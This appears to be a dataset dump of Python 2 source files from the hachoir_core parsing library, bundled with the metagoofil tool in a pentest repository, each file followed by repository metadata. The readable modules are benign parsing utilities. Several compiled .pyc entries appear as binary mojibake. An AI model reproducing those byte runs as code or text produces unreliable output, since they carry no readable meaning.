Ñò Î ÈMc@swddklZddklZddklZlZddklZddk i Z d„Z d„Z dd„ZdS( iÿÿÿÿ(t OptionGroup(tlog(t_tgetTerminalCharset(t makePrintableNc Cs¿d„}t|tdƒdƒ}|iddtdƒdtdd ƒ|id dtd ƒd d ddd|ƒ|iddtdƒdtdd ƒ|iddtdƒdtdd ƒ|S(s\ Create an option group (type optparse.OptionGroup) of Hachoir library options. cWsti|dƒdS(Ni(Rt setFilename(targs((s?/pentest/enumeration/google/metagoofil/hachoir_core/cmd_line.pytsetLogFilename ssHachoir librarysConfigure Hachoir librarys --verbosethelps Verbose modetdefaulttactiont store_trues--logsWrite log in a filettypetstringtcallbacks--quiets"Quiet mode (don't display warning)s--debugs Debug mode(RRt add_optiontFalse(tparserRtcommon((s?/pentest/enumeration/google/metagoofil/hachoir_core/cmd_line.pytgetHachoirOptionss     cCsI|io tt_n|io tt_n|io tt_ndS(N(tquiettTruetconfigtverbosetdebug(toption((s?/pentest/enumeration/google/metagoofil/hachoir_core/cmd_line.pytconfigureHachoirs      cCsO|p tƒ}nyt||ƒSWn#tj ot||dtƒSXdS(Nt to_unicode(RtunicodetUnicodeDecodeErrorRR(tfilenametcharset((s?/pentest/enumeration/google/metagoofil/hachoir_core/cmd_line.pytunicodeFilename$s  (toptparseRthachoir_core.logRthachoir_core.i18nRRthachoir_core.toolsRthachoir_core.configRRRtNoneR (((s?/pentest/enumeration/google/metagoofil/hachoir_core/cmd_line.pyt<module>s 
2,147
Python
.py
17
124.470588
498
0.492726
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,479
timeout.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/timeout.py
""" limitedTime(): set a timeout in seconds when calling a function, raise a Timeout error if time exceed. """ from math import ceil IMPLEMENTATION = None class Timeout(RuntimeError): """ Timeout error, inherits from RuntimeError """ pass def signalHandler(signum, frame): """ Signal handler to catch timeout signal: raise Timeout exception. """ raise Timeout("Timeout exceed!") def limitedTime(second, func, *args, **kw): """ Call func(*args, **kw) with a timeout of second seconds. """ return func(*args, **kw) def fixTimeout(second): """ Fix timeout value: convert to integer with a minimum of 1 second """ if isinstance(second, float): second = int(ceil(second)) assert isinstance(second, (int, long)) return max(second, 1) if not IMPLEMENTATION: try: from signal import signal, alarm, SIGALRM # signal.alarm() implementation def limitedTime(second, func, *args, **kw): second = fixTimeout(second) old_alarm = signal(SIGALRM, signalHandler) try: alarm(second) return func(*args, **kw) finally: alarm(0) signal(SIGALRM, old_alarm) IMPLEMENTATION = "signal.alarm()" except ImportError: pass if not IMPLEMENTATION: try: from signal import signal, SIGXCPU from resource import getrlimit, setrlimit, RLIMIT_CPU # resource.setrlimit(RLIMIT_CPU) implementation # "Bug": timeout is 'CPU' time so sleep() are not part of the timeout def limitedTime(second, func, *args, **kw): second = fixTimeout(second) old_alarm = signal(SIGXCPU, signalHandler) current = getrlimit(RLIMIT_CPU) try: setrlimit(RLIMIT_CPU, (second, current[1])) return func(*args, **kw) finally: setrlimit(RLIMIT_CPU, current) signal(SIGXCPU, old_alarm) IMPLEMENTATION = "resource.setrlimit(RLIMIT_CPU)" except ImportError: pass
2,131
Python
.py
64
25.421875
77
0.617518
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,480
endian.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/endian.py
""" Constant values about endian. """ from hachoir_core.i18n import _ BIG_ENDIAN = "ABCD" LITTLE_ENDIAN = "DCBA" NETWORK_ENDIAN = BIG_ENDIAN endian_name = { BIG_ENDIAN: _("Big endian"), LITTLE_ENDIAN: _("Little endian"), }
235
Python
.py
11
19.272727
38
0.695455
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,481
version.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/version.py
PACKAGE = "hachoir-core" VERSION = "1.2.1" WEBSITE = 'http://hachoir.org/wiki/hachoir-core' LICENSE = 'GNU GPL v2'
116
Python
.py
4
27.75
48
0.711712
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,482
link.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/field/link.py
from hachoir_core.field import Field, FieldSet, ParserError, Bytes, MissingField from hachoir_core.stream import FragmentedStream class Link(Field): def __init__(self, parent, name, *args, **kw): Field.__init__(self, parent, name, 0, *args, **kw) def hasValue(self): return True def createValue(self): return self._parent[self.display] def createDisplay(self): value = self.value if value is None: return "<%s>" % MissingField.__name__ return value.path def _getField(self, name, const): target = self.value assert self != target return target._getField(name, const) class Fragments: def __init__(self, first): self.first = first def __iter__(self): fragment = self.first while fragment is not None: data = fragment.getData() yield data and data.size fragment = fragment.next class Fragment(FieldSet): _first = None def __init__(self, *args, **kw): FieldSet.__init__(self, *args, **kw) self._field_generator = self._createFields(self._field_generator) if self.__class__.createFields == Fragment.createFields: self._getData = lambda: self def getData(self): try: return self._getData() except MissingField, e: self.error(str(e)) return None def setLinks(self, first, next=None): self._first = first or self self._next = next self._feedLinks = lambda: self return self def _feedLinks(self): while self._first is None and self.readMoreFields(1): pass if self._first is None: raise ParserError("first is None") return self first = property(lambda self: self._feedLinks()._first) def _getNext(self): next = self._feedLinks()._next if callable(next): self._next = next = next() return next next = property(_getNext) def _createInputStream(self, **args): first = self.first if first is self and hasattr(first, "_getData"): return FragmentedStream(first, packets=Fragments(first), **args) return FieldSet._createInputStream(self, **args) def _createFields(self, field_generator): if self._first is None: for field in field_generator: if self._first is not None: break yield field else: raise ParserError("Fragment.setLinks not called") else: field = None if self._first is not self: link = Link(self, "first", None) link._getValue = lambda: self._first yield link if self._next: link = Link(self, "next", None) link.createValue = self._getNext yield link if field: yield field for field in field_generator: yield field def createFields(self): if self._size is None: self._size = self._getSize() yield Bytes(self, "data", self._size/8)
3,176
Python
.py
89
26.280899
80
0.582654
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,483
basic_field_set.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/field/basic_field_set.pyc
Ñò Î ÈMc@s’ddklZlZddklZddklZlZddkl Z defd„ƒYZ defd„ƒYZ d efd „ƒYZ d S( iÿÿÿÿ(tFieldt FieldError(t InputStream(t BIG_ENDIANt LITTLE_ENDIAN(t EventHandlert ParserErrorcBseZdZRS(s? Error raised by a field set. @see: L{FieldError} (t__name__t __module__t__doc__(((sL/pentest/enumeration/google/metagoofil/hachoir_core/field/basic_field_set.pyRst MatchErrorcBseZdZRS(sx Error raised by a field set when the stream content doesn't match to file format. @see: L{FieldError} (RRR (((sL/pentest/enumeration/google/metagoofil/hachoir_core/field/basic_field_set.pyR st BasicFieldSetcBsžeZdZeZdZd„Zd„Zd„Z ed„Z d„Z d„Z d„Z d„Zd„Zd „Zed „Zd „Zd „Zd „ZRS(cCs°| pt|itƒpt‚t|itƒpt‚|djo7|io-t|itt fƒpt‚|i}n||_ ||_ ||_ ||_ ||_h|_|ip(|o |ipt‚|i|_n|oE|iƒ|_|i|_t|iƒt|iƒjpt‚nd|_||_d|_|ittfjpt‚|i dj o0|i djo td|i|i fƒ‚ndS(NisInvalid parser '%s' size: %s(t issubclasst __class__R tAssertionErrorRtNonet static_sizet isinstancetinttlongt_parentt_namet_sizet _descriptiontstreamt_field_array_counttendiantnextFieldAddresst_addresstroottidt_global_event_handlerRRRtpath(tselftparenttnameRt descriptiontsize((sL/pentest/enumeration/google/metagoofil/hachoir_core/field/basic_field_set.pyt__init__s0"          *    cCs h|_dS(N(R(R!((sL/pentest/enumeration/google/metagoofil/hachoir_core/field/basic_field_set.pytresetCscCsdS(N(R(R!((sL/pentest/enumeration/google/metagoofil/hachoir_core/field/basic_field_set.pyt createValueFscCs™|djptd|‚|o7|idjotƒ|_n|ii||ƒn=|iidjotƒ|i_n|iii||ƒdS(Nsfield-value-changeds field-resizedsfield-insertedsfield-replacedsset-field-valuesEvent name %r is invalid(sfield-value-changeds field-resizedsfield-insertedsfield-replacedsset-field-value(Rt_event_handlerRRtconnectRR(R!t event_namethandlertlocal((sL/pentest/enumeration/google/metagoofil/hachoir_core/field/basic_field_set.pyt connectEventIs  cGsX|idj o|ii||Œn|iidj o|iii||ŒndS(N(R)Rt raiseEventRR(R!R+targs((sL/pentest/enumeration/google/metagoofil/hachoir_core/field/basic_field_set.pyR/hscCsc|id }y|i|cd7<Wn tj od|i|<nX|d|i||_dS(Niþÿÿÿiis[%u](RRtKeyError(R!tfieldtkey((sL/pentest/enumeration/google/metagoofil/hachoir_core/field/basic_field_set.pytsetUniqueFieldNameqs  cCs0||i}d|jo|i|ƒSdSdS(sq Read first number fields if they are not read yet. Returns number of new added fields. iN(tcurrent_lengthtreadMoreFields(R!tnumber((sL/pentest/enumeration/google/metagoofil/hachoir_core/field/basic_field_set.pytreadFirstFieldsys  cCs tƒ‚dS(N(tNotImplementedError(R!((sL/pentest/enumeration/google/metagoofil/hachoir_core/field/basic_field_set.pyt createFields…scCs tƒ‚dS(N(R9(R!((sL/pentest/enumeration/google/metagoofil/hachoir_core/field/basic_field_set.pyt__iter__‡scCs tƒ‚dS(N(R9(R!((sL/pentest/enumeration/google/metagoofil/hachoir_core/field/basic_field_set.pyt__len__‰scCs tƒ‚dS(N(R9(R!R3tconst((sL/pentest/enumeration/google/metagoofil/hachoir_core/field/basic_field_set.pytgetField‹scCs tƒ‚dS(N(R9(R!((sL/pentest/enumeration/google/metagoofil/hachoir_core/field/basic_field_set.pyR�scCs tƒ‚dS(N(R9(R!R2((sL/pentest/enumeration/google/metagoofil/hachoir_core/field/basic_field_set.pyt getFieldIndex�scCs tƒ‚dS(N(R9(R!R7((sL/pentest/enumeration/google/metagoofil/hachoir_core/field/basic_field_set.pyR6‘sN(RRRR)tTruet is_field_setRR&R'R(R.R/R4R8R:R;R<R>RR?R6(((sL/pentest/enumeration/google/metagoofil/hachoir_core/field/basic_field_set.pyR s" '          N( thachoir_core.fieldRRthachoir_core.streamRthachoir_core.endianRRthachoir_core.event_handlerRRR R (((sL/pentest/enumeration/google/metagoofil/hachoir_core/field/basic_field_set.pyt<module>s 
5,995
Python
.py
30
196.966667
1,889
0.466544
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,484
fake_array.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/field/fake_array.py
import itertools from hachoir_core.field import MissingField class FakeArray: """ Simulate an array for GenericFieldSet.array(): fielset.array("item")[0] is equivalent to fielset.array("item[0]"). It's possible to iterate over the items using:: for element in fieldset.array("item"): ... And to get array size using len(fieldset.array("item")). """ def __init__(self, fieldset, name): pos = name.rfind("/") if pos != -1: self.fieldset = fieldset[name[:pos]] self.name = name[pos+1:] else: self.fieldset = fieldset self.name = name self._format = "%s[%%u]" % self.name self._cache = {} self._known_size = False self._max_index = -1 def __nonzero__(self): "Is the array empty or not?" if self._cache: return True else: return (0 in self) def __len__(self): "Number of fields in the array" total = self._max_index+1 if not self._known_size: for index in itertools.count(total): try: field = self[index] total += 1 except MissingField: break return total def __contains__(self, index): try: field = self[index] return True except MissingField: return False def __getitem__(self, index): """ Get a field of the array. Returns a field, or raise MissingField exception if the field doesn't exist. """ try: value = self._cache[index] except KeyError: try: value = self.fieldset[self._format % index] except MissingField: self._known_size = True raise self._cache[index] = value self._max_index = max(index, self._max_index) return value def __iter__(self): """ Iterate in the fields in their index order: field[0], field[1], ... """ for index in itertools.count(0): try: yield self[index] except MissingField: raise StopIteration()
2,294
Python
.py
71
21.873239
78
0.521464
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,485
vector.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/field/vector.py
from hachoir_core.field import Field, FieldSet, ParserError class GenericVector(FieldSet): def __init__(self, parent, name, nb_items, item_class, item_name="item", description=None): # Sanity checks assert issubclass(item_class, Field) assert isinstance(item_class.static_size, (int, long)) if not(0 < nb_items): raise ParserError('Unable to create empty vector "%s" in %s' \ % (name, parent.path)) size = nb_items * item_class.static_size self.__nb_items = nb_items self._item_class = item_class self._item_name = item_name FieldSet.__init__(self, parent, name, description, size=size) def __len__(self): return self.__nb_items def createFields(self): name = self._item_name + "[]" parser = self._item_class for index in xrange(len(self)): yield parser(self, name) class UserVector(GenericVector): """ To implement: - item_name: name of a field without [] (eg. "color" becomes "color[0]"), default value is "item" - item_class: class of an item """ item_class = None item_name = "item" def __init__(self, parent, name, nb_items, description=None): GenericVector.__init__(self, parent, name, nb_items, self.item_class, self.item_name, description)
1,356
Python
.py
32
34.875
106
0.623672
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,486
padding.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/field/padding.pyc
Ñò Î ÈMc@s˜ddklZlZddklZlZddklZdefd„ƒYZdefd„ƒYZ defd „ƒYZ d e fd „ƒYZ d S( iÿÿÿÿ(tBitstBytes(t makePrintablet humanFilesize(tconfigt PaddingBitscBsDeZdZed„ƒZdZddd„Zd„Zd„Z RS(s Padding bits used, for example, to align address (of next field). See also NullBits and PaddingBytes types. Arguments: * nbits: Size of the field in bits Optional arguments: * pattern (int): Content pattern, eg. 0 if all bits are set to 0 cOs|dS(i((targstkw((sD/pentest/enumeration/google/metagoofil/hachoir_core/field/padding.pyt<lambda>si€tPaddingcCs5ti|||||ƒ||_|iƒ|_dS(N(Rt__init__tpatternt checkPatternt_display_pattern(tselftparenttnametnbitst descriptionR ((sD/pentest/enumeration/google/metagoofil/hachoir_core/field/padding.pyR s cCs¹tiptS|idjotS|i|ijo+|iii|i |i|ii ƒ}n |i }|djo|i dƒtS|i|ijo|i d|iƒntS(Nis6padding contents doesn't look normal (invalid pattern)sonly check first %u bits(Rtcheck_padding_patterntFalseR tMAX_SIZEt_sizet_parenttstreamtreadBitstabsolute_addresstendiantvaluetwarningtinfotTrue(RR((sD/pentest/enumeration/google/metagoofil/hachoir_core/field/padding.pyR s     cCs'|io d|iSti|ƒSdS(Nu<padding pattern=%s>(R R Rt createDisplay(R((sD/pentest/enumeration/google/metagoofil/hachoir_core/field/padding.pyR *s  N( t__name__t __module__t__doc__t staticmethodt static_sizeRtNoneR R R (((sD/pentest/enumeration/google/metagoofil/hachoir_core/field/padding.pyRs   t PaddingBytescBsMeZdZed„ƒZdZddd„Zd„Zd„Z d„Z RS( s  Padding bytes used, for example, to align address (of next field). See also NullBytes and PaddingBits types. Arguments: * nbytes: Size of the field in bytes Optional arguments: * pattern (str): Content pattern, eg. "" for nul bytes cOs |ddS(ii((RR((sD/pentest/enumeration/google/metagoofil/hachoir_core/field/padding.pyR<siR cCsY|djpt|tƒpt‚ti|||||ƒ||_|iƒ|_dS(s$ pattern is None or repeated string N( R&t isinstancetstrtAssertionErrorRR R R R (RRRtnbytesRR ((sD/pentest/enumeration/google/metagoofil/hachoir_core/field/padding.pyR ?s$ cCsïtiptS|idjotS|i|idjo<|idt|iƒƒ|i i i |i |iƒ}n |i }d}t|iƒ}xS|t|ƒjo?||||!|ijo|id|ƒtS||7}q˜WtS(Nisonly check first %s of paddingisBpadding contents doesn't look normal (invalid pattern at byte %u)!(RRRR R&RRRRRRt readBytesRRtlenRR(Rtcontenttindext pattern_len((sD/pentest/enumeration/google/metagoofil/hachoir_core/field/padding.pyR Gs(   cCs6|iodt|idddƒSti|ƒSdS(Nu<padding pattern=%s>tASCIItquotet'(R RR RR (R((sD/pentest/enumeration/google/metagoofil/hachoir_core/field/padding.pyR _s cCs ti|ƒS(N(RR (R((sD/pentest/enumeration/google/metagoofil/hachoir_core/field/padding.pytcreateRawDisplayesN( R!R"R#R$R%RR&R R R R4(((sD/pentest/enumeration/google/metagoofil/hachoir_core/field/padding.pyR'0s   tNullBitscBs#eZdZdd„Zd„ZRS(s¶ Null padding bits used, for example, to align address (of next field). See also PaddingBits and NullBytes types. Arguments: * nbits: Size of the field in bits cCs#ti|||||ddƒdS(NR i(RR (RRRRR((sD/pentest/enumeration/google/metagoofil/hachoir_core/field/padding.pyR qscCs |iodSti|ƒSdS(Ns<null>(R RR (R((sD/pentest/enumeration/google/metagoofil/hachoir_core/field/padding.pyR ts N(R!R"R#R&R R (((sD/pentest/enumeration/google/metagoofil/hachoir_core/field/padding.pyR5hs t NullBytescBs#eZdZdd„Zd„ZRS(s¹ Null padding bytes used, for example, to align address (of next field). See also PaddingBytes and NullBits types. Arguments: * nbytes: Size of the field in bytes cCs#ti|||||ddƒdS(NR t(R'R (RRRR+R((sD/pentest/enumeration/google/metagoofil/hachoir_core/field/padding.pyR ‚scCs |iodSti|ƒSdS(Ns<null>(R RR (R((sD/pentest/enumeration/google/metagoofil/hachoir_core/field/padding.pyR …s N(R!R"R#R&R R (((sD/pentest/enumeration/google/metagoofil/hachoir_core/field/padding.pyR6zs N( thachoir_core.fieldRRthachoir_core.toolsRRt hachoir_coreRRR'R5R6(((sD/pentest/enumeration/google/metagoofil/hachoir_core/field/padding.pyt<module>s +8
6,412
Python
.py
56
111.571429
495
0.471737
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,487
string_field.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/field/string_field.py
""" String field classes: - String: Fixed length string (no prefix/no suffix) ; - CString: String which ends with nul byte ("\0") ; - UnixLine: Unix line of text, string which ends with "\n" ; - PascalString8, PascalString16, PascalString32: String prefixed with length written in a 8, 16, 32-bit integer (use parent endian). Constructor has optional arguments: - strip: value can be a string or True ; - charset: if set, convert string to unicode using this charset (in "replace" mode which replace all buggy characters with "."). Note: For PascalStringXX, prefixed value is the number of bytes and not of characters! """ from hachoir_core.field import FieldError, Bytes from hachoir_core.endian import LITTLE_ENDIAN, BIG_ENDIAN from hachoir_core.tools import alignValue, makePrintable from hachoir_core.i18n import guessBytesCharset, _ from hachoir_core import config # Default charset used to convert byte string to Unicode # This charset is used if no charset is specified or on conversion error FALLBACK_CHARSET = "ISO-8859-1" class GenericString(Bytes): """ Generic string class. charset have to be in CHARSET_8BIT or in UTF_CHARSET. """ VALID_FORMATS = ("C", "UnixLine", "fixed", "Pascal8", "Pascal16", "Pascal32") # 8-bit charsets CHARSET_8BIT = set(( "ASCII", "MacRoman", "CP037", "WINDOWS-1252", "WINDOWS-1253", "ISO-8859-1", "ISO-8859-2", "ISO-8859-3", "ISO-8859-4", "ISO-8859-5", "ISO-8859-6", "ISO-8859-7", "ISO-8859-8", "ISO-8859-9", "ISO-8859-10", "ISO-8859-11", "ISO-8859-13", "ISO-8859-14", "ISO-8859-15")) # UTF-xx charset familly UTF_CHARSET = { "UTF-8": (8, None), "UTF-16-LE": (16, LITTLE_ENDIAN), "UTF-32LE": (32, LITTLE_ENDIAN), "UTF-16-BE": (16, BIG_ENDIAN), "UTF-32BE": (32, BIG_ENDIAN), "UTF-16": (16, "BOM"), "UTF-32": (32, "BOM"), } # UTF-xx BOM => charset with endian UTF_BOM = { 16: {"\xFF\xFE": "UTF-16-LE", "\xFE\xFF": "UTF-16-BE"}, 32: {"\xFF\xFE\x00\x00": "UTF-32LE", "\x00\x00\xFE\xFF": "UTF-32BE"}, } # Suffix format: value is suffix (string) SUFFIX_FORMAT = { "C": { 8: {LITTLE_ENDIAN: "\0", BIG_ENDIAN: "\0"}, 16: {LITTLE_ENDIAN: "\0\0", BIG_ENDIAN: "\0\0"}, 32: {LITTLE_ENDIAN: "\0\0\0\0", BIG_ENDIAN: "\0\0\0\0"}, }, "UnixLine": { 8: {LITTLE_ENDIAN: "\n", BIG_ENDIAN: "\n"}, 16: {LITTLE_ENDIAN: "\n\0", BIG_ENDIAN: "\0\n"}, 32: {LITTLE_ENDIAN: "\n\0\0\0", BIG_ENDIAN: "\0\0\0\n"}, }, } # Pascal format: value is the size of the prefix in bits PASCAL_FORMATS = { "Pascal8": 1, "Pascal16": 2, "Pascal32": 4 } # Raw value: with prefix and suffix, not stripped, # and not converted to Unicode _raw_value = None def __init__(self, parent, name, format, description=None, strip=None, charset=None, nbytes=None, truncate=None): Bytes.__init__(self, parent, name, 1, description) # Is format valid? assert format in self.VALID_FORMATS # Store options self._format = format self._strip = strip self._truncate = truncate # Check charset and compute character size in bytes # (or None when it's not possible to guess character size) if not charset or charset in self.CHARSET_8BIT: self._character_size = 1 # one byte per character elif charset in self.UTF_CHARSET: self._character_size = None else: raise FieldError("Invalid charset for %s: \"%s\"" % (self.path, charset)) self._charset = charset # It is a fixed string? if nbytes is not None: assert self._format == "fixed" # Arbitrary limits, just to catch some bugs... if not (1 <= nbytes <= 0xffff): raise FieldError("Invalid string size for %s: %s" % (self.path, nbytes)) self._content_size = nbytes # content length in bytes self._size = nbytes * 8 self._content_offset = 0 else: # Format with a suffix: Find the end of the string if self._format in self.SUFFIX_FORMAT: self._content_offset = 0 # Choose the suffix suffix = self.suffix_str # Find the suffix length = self._parent.stream.searchBytesLength( suffix, False, self.absolute_address) if length is None: raise FieldError("Unable to find end of string %s (format %s)!" % (self.path, self._format)) if 1 < len(suffix): # Fix length for little endian bug with UTF-xx charset: # u"abc" -> "a\0b\0c\0\0\0" (UTF-16-LE) # search returns length=5, whereas real lenght is 6 length = alignValue(length, len(suffix)) # Compute sizes self._content_size = length # in bytes self._size = (length + len(suffix)) * 8 # Format with a prefix: Read prefixed length in bytes else: assert self._format in self.PASCAL_FORMATS # Get the prefix size prefix_size = self.PASCAL_FORMATS[self._format] self._content_offset = prefix_size # Read the prefix and compute sizes value = self._parent.stream.readBits( self.absolute_address, prefix_size*8, self._parent.endian) self._content_size = value # in bytes self._size = (prefix_size + value) * 8 # For UTF-16 and UTF-32, choose the right charset using BOM if self._charset in self.UTF_CHARSET: # Charset requires a BOM? bomsize, endian = self.UTF_CHARSET[self._charset] if endian == "BOM": # Read the BOM value nbytes = bomsize // 8 bom = self._parent.stream.readBytes(self.absolute_address, nbytes) # Choose right charset using the BOM bom_endian = self.UTF_BOM[bomsize] if bom not in bom_endian: raise FieldError("String %s has invalid BOM (%s)!" % (self.path, repr(bom))) self._charset = bom_endian[bom] self._content_size -= nbytes self._content_offset += nbytes # Compute length in character if possible if self._character_size: self._length = self._content_size // self._character_size else: self._length = None @staticmethod def staticSuffixStr(format, charset, endian): if format not in GenericString.SUFFIX_FORMAT: return '' suffix = GenericString.SUFFIX_FORMAT[format] if charset in GenericString.UTF_CHARSET: suffix_size = GenericString.UTF_CHARSET[charset][0] suffix = suffix[suffix_size] else: suffix = suffix[8] return suffix[endian] def _getSuffixStr(self): return self.staticSuffixStr( self._format, self._charset, self._parent.endian) suffix_str = property(_getSuffixStr) def _convertText(self, text): if not self._charset: # charset is still unknown: guess the charset self._charset = guessBytesCharset(text, default=FALLBACK_CHARSET) # Try to convert to Unicode try: return unicode(text, self._charset, "strict") except UnicodeDecodeError, err: pass #--- Conversion error --- # Fix truncated UTF-16 string like 'B\0e' (3 bytes) # => Add missing nul byte: 'B\0e\0' (4 bytes) if err.reason == "truncated data" \ and err.end == len(text) \ and self._charset == "UTF-16-LE": try: text = unicode(text+"\0", self._charset, "strict") self.warning("Fix truncated %s string: add missing nul byte" % self._charset) return text except UnicodeDecodeError, err: pass # On error, use FALLBACK_CHARSET self.warning(u"Unable to convert string to Unicode: %s" % err) return unicode(text, FALLBACK_CHARSET, "strict") def _guessCharset(self): addr = self.absolute_address + self._content_offset * 8 bytes = self._parent.stream.readBytes(addr, self._content_size) return guessBytesCharset(bytes, default=FALLBACK_CHARSET) def createValue(self, human=True): # Compress data address (in bits) and size (in bytes) if human: addr = self.absolute_address + self._content_offset * 8 size = self._content_size else: addr = self.absolute_address size = self._size // 8 if size == 0: # Empty string return u"" # Read bytes in data stream text = self._parent.stream.readBytes(addr, size) # Don't transform data? if not human: return text # Convert text to Unicode text = self._convertText(text) # Truncate if self._truncate: pos = text.find(self._truncate) if 0 <= pos: text = text[:pos] # Strip string if needed if self._strip: if isinstance(self._strip, (str, unicode)): text = text.strip(self._strip) else: text = text.strip() assert isinstance(text, unicode) return text def createDisplay(self, human=True): if not human: if self._raw_value is None: self._raw_value = GenericString.createValue(self, False) value = makePrintable(self._raw_value, "ASCII", to_unicode=True) elif self._charset: value = makePrintable(self.value, "ISO-8859-1", to_unicode=True) else: value = self.value if config.max_string_length < len(value): # Truncate string if needed value = "%s(...)" % value[:config.max_string_length] if not self._charset or not human: return makePrintable(value, "ASCII", quote='"', to_unicode=True) else: if value: return '"%s"' % value.replace('"', '\\"') else: return _("(empty)") def createRawDisplay(self): return GenericString.createDisplay(self, human=False) def _getLength(self): if self._length is None: self._length = len(self.value) return self._length length = property(_getLength, doc="String length in characters") def _getFormat(self): return self._format format = property(_getFormat, doc="String format (eg. 'C')") def _getCharset(self): if not self._charset: self._charset = self._guessCharset() return self._charset charset = property(_getCharset, doc="String charset (eg. 'ISO-8859-1')") def _getContentSize(self): return self._content_size content_size = property(_getContentSize, doc="Content size in bytes") def _getContentOffset(self): return self._content_offset content_offset = property(_getContentOffset, doc="Content offset in bytes") def getFieldType(self): info = self.charset if self._strip: if isinstance(self._strip, (str, unicode)): info += ",strip=%s" % makePrintable(self._strip, "ASCII", quote="'") else: info += ",strip=True" return "%s<%s>" % (Bytes.getFieldType(self), info) def stringFactory(name, format, doc): class NewString(GenericString): __doc__ = doc def __init__(self, parent, name, description=None, strip=None, charset=None, truncate=None): GenericString.__init__(self, parent, name, format, description, strip=strip, charset=charset, truncate=truncate) cls = NewString cls.__name__ = name return cls # String which ends with nul byte ("\0") CString = stringFactory("CString", "C", r"""C string: string ending with nul byte. See GenericString to get more information.""") # Unix line of text: string which ends with "\n" (ASCII 0x0A) UnixLine = stringFactory("UnixLine", "UnixLine", r"""Unix line: string ending with "\n" (ASCII code 10). See GenericString to get more information.""") # String prefixed with length written in a 8-bit integer PascalString8 = stringFactory("PascalString8", "Pascal8", r"""Pascal string: string prefixed with 8-bit integer containing its length (endian depends on parent endian). See GenericString to get more information.""") # String prefixed with length written in a 16-bit integer (use parent endian) PascalString16 = stringFactory("PascalString16", "Pascal16", r"""Pascal string: string prefixed with 16-bit integer containing its length (endian depends on parent endian). See GenericString to get more information.""") # String prefixed with length written in a 32-bit integer (use parent endian) PascalString32 = stringFactory("PascalString32", "Pascal32", r"""Pascal string: string prefixed with 32-bit integer containing its length (endian depends on parent endian). See GenericString to get more information.""") class String(GenericString): """ String with fixed size (size in bytes). See GenericString to get more information. """ static_size = staticmethod(lambda *args, **kw: args[1]*8) def __init__(self, parent, name, nbytes, description=None, strip=None, charset=None, truncate=None): GenericString.__init__(self, parent, name, "fixed", description, strip=strip, charset=charset, nbytes=nbytes, truncate=truncate) String.__name__ = "FixedString"
14,124
Python
.py
319
34.586207
115
0.595853
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,488
byte_field.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/field/byte_field.py
""" Very basic field: raw content with a size in byte. Use this class for unknown content. """ from hachoir_core.field import Field, FieldError from hachoir_core.tools import makePrintable from hachoir_core.bits import str2hex from hachoir_core import config MAX_LENGTH = (2**64) class RawBytes(Field): """ Byte vector of unknown content @see: L{Bytes} """ static_size = staticmethod(lambda *args, **kw: args[1]*8) def __init__(self, parent, name, length, description="Raw data"): assert issubclass(parent.__class__, Field) if not(0 < length <= MAX_LENGTH): raise FieldError("Invalid RawBytes length (%s)!" % length) Field.__init__(self, parent, name, length*8, description) self._display = None def _createDisplay(self, human): max_bytes = config.max_byte_length if type(self._getValue) is type(lambda: None): display = self.value[:max_bytes] else: if self._display is None: address = self.absolute_address length = min(self._size / 8, max_bytes) self._display = self._parent.stream.readBytes(address, length) display = self._display truncated = (8 * len(display) < self._size) if human: if truncated: display += "(...)" return makePrintable(display, "latin-1", quote='"', to_unicode=True) else: display = str2hex(display, format=r"\x%02x") if truncated: return '"%s(...)"' % display else: return '"%s"' % display def createDisplay(self): return self._createDisplay(True) def createRawDisplay(self): return self._createDisplay(False) def hasValue(self): return True def createValue(self): assert (self._size % 8) == 0 if self._display: self._display = None return self._parent.stream.readBytes( self.absolute_address, self._size / 8) class Bytes(RawBytes): """ Byte vector: can be used for magic number or GUID/UUID for example. @see: L{RawBytes} """ pass
2,190
Python
.py
60
28.283333
80
0.601795
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,489
field.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/hachoir_core/field/field.pyc
